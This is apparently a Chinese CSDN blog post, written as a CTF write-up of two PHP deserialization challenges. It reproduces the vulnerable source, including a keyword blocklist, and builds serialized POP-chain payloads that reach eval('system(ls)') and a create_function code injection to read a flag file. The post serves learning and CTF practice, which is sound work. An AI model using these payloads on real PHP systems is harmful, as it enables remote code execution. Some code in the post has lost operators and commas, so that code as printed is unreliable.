2021-10-3 安全笔记周报(php 反序列化的两道例题)(待更新)

本文探讨了PHP中的反序列化漏洞,通过实例解释了如何构造payload以执行魔术方法,如_eval_,从而实现命令注入。文章强调了未受限的序列化输入可能导致的安全问题,并展示了两个具体的CTF挑战题案例,分析了如何利用_create_function_函数进行代码注入,以获取目标文件内容。
摘要由CSDN通过智能技术生成

Moectf2021 easyunserialize

<?php

class entrance

{

    public $start;

    function __construct($start)

    {

        $this->start $start;

    }

    function __destruct()

    {

        $this->start->helloworld();

    }

}

class springboard

{

    public $middle;

    function __call($name$arguments)

    {

        echo $this->middle->hs;

    }

}

class evil

{

    public $end;

    function __construct($end)

    {

        $this->end $end;

    }

    function __get($Attribute)

    {

        eval($this->end);

    }

}

if(isset($_GET['serialize'])) {

    unserialize($_GET['serialize']);

} else {

    highlight_file(__FILE__);

}

来自 <http://81.68.112.139:8889/>

首先容易看出考点是反序列化。

以前一直以为所谓反序列化漏洞是某种绕过之类的,比如,改变对象实际个数从而绕过wakeup,但是在这道题中是通过构造payload,来执行魔术方法之内的eval命令,漏洞从绕过变成了对序列化内容的注入。

首先理解各种魔术方法何时会被调用。

题目中有四个魔术方法,_construct(),_call(),_get(),_destruct();

_construct() 和 _destruct() 一目了然,分别在构造和销毁对象时被调用。

_call()在调用不存在的类中方法时被调用,其有两个参数,一个是方法名,一个是调用方法中可能赋的参数

_get()在调用不存在的类中数据时被调用,其参数为数据的变量名。

从而观察php代码,看到entrance类中的_desruct()调用了不存在的方法,springboard类中_call()调用了不存在的数据,evil类中_get()调用了eval()执行函数。所以最终希望的是,调用_get()函数

开始构造payload

$a = new entrance(new springboard());

$a->start->middle = new evil("system('ls')";)

echo  serialize($a)

理解这段代码,首先new一个entrance 给他赋一个springboard对象,那么通过entrance的构造函数在entrance中$start被赋值了springboard对象。在最后析构的时候,先执行entrance()的析构函数,那么就会执行$start也就是springboard()对象会执行helloword()函数,然而这个方法不存在springboard类中,就会执行_call()魔术方法,为了让middle和evil联系起来,而middlle又是public属性,可以被外部调用,那么就给middle赋一个new evil对象,从而,通过_call()函数中的this->middle->hs成功调用了一个不存在于evil的数据,调用了我们想要调用的_get()方法,从而通过给evil对象赋值,达到任意命令执行的效果。

从本质上来看,这道题想表达的也就是,没有对serialize内容进行限制,造成了注入,也算注入攻击的一种。

最后居然直接是 ls/

BUUCTF 浙江大学秋季挑战赛

 <?php

class {

    public $var;

    public function show(){

        echo $this->var;

    }

    public function __invoke(){

        $this->show();

    }

}

class B{

    public $func;

    public $arg;

    

    public function show(){

        $func $this->func;

        if(preg_match('/^[a-z0-9]*$/isD'$this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i'$this->arg)) { 

            die('No!No!No!'); 

        } else { 

            include "flag.php";

            //There is no code to print flag in flag.php

            $func(''$this->arg); 

        }

    }

    

    public function __toString(){

        $this->show();

        return "<br>"."Nice Job!!"."<br>";

    }

    

    

}

if(isset($_GET['pop'])){

    $aaa unserialize($_GET['pop']);

    $aaa();

}

else{

    highlight_file(__FILE__);

}

?>

来自 <http://1d4840de-c66e-4636-984d-0feb866bcb8f.node4.buuoj.cn:81/>

首先看题知道是反序列化漏洞,观察题目,有两个魔法函数,一个是_invoke(),一个是_toString()

当把对象当成方法调用的时候会触发_invoke(),当把对象当成字符串赋值的时候会触发_toString()。

$a = new A();

$a->var = new B;

$a->var->func = "create_function";

$a->var->arg = "}var_dump(get_defined_vars());//";

echo serialize($a);

?pop=O:1:"A":1:{s:3:"var";O:1:"B":2:{s:4:"func";s:15:"create_function";s:3:"arg";s:32:"}var_dump(get_defined_vars());//";}}

这里还有一个知识点,就是php中的create_function函数

这个样式就可以用到create_function函数

他起到了匿名函数的作用,具体类似如下效果

functionfT($fname) {

echo$fname."Zhang";

}

<?php

$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');

echo"New anonymous function: $newfunc";

echo$newfunc(2, M_E) . "";

// outputs

// New anonymous function: lambda_1

// ln(2) + ln(2.718281828459) = 1.6931471805599

?>

通过变量传递构造一个函数,其中第一个参数是传递进create_function的参数,第二个参数是create_function的代码就像上述的payload一样,可以对照eval()函数,这个参数的内容都会被当成代码执行,那么我们可以直接先封闭,然后写的代码就可以逃逸出这个函数的执行范围,变成了show函数代码的一部分,这样就相当于变相的任意代码执行,我们先看一下这个函数里有些什么提示(讲实话我有点想不到,他没有提示,姑且认为是一种可以在没信息时的一种寻找信息的手段)

发现真正的flag在Tru3flag.php

过程类似,就是这次需要访问Tru3flag.php,构造payload

$a = new A();

$a->var = new B;

$a->var->func = "create_function";

$a->var->arg = "}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";

echo serialize($a);

?pop=O:1:"A":1:{s:3:"var";O:1:"B":2:{s:4:"func";s:15:"create_function";s:3:"arg";s:73:"}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";}}

就得到了正确的结果

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值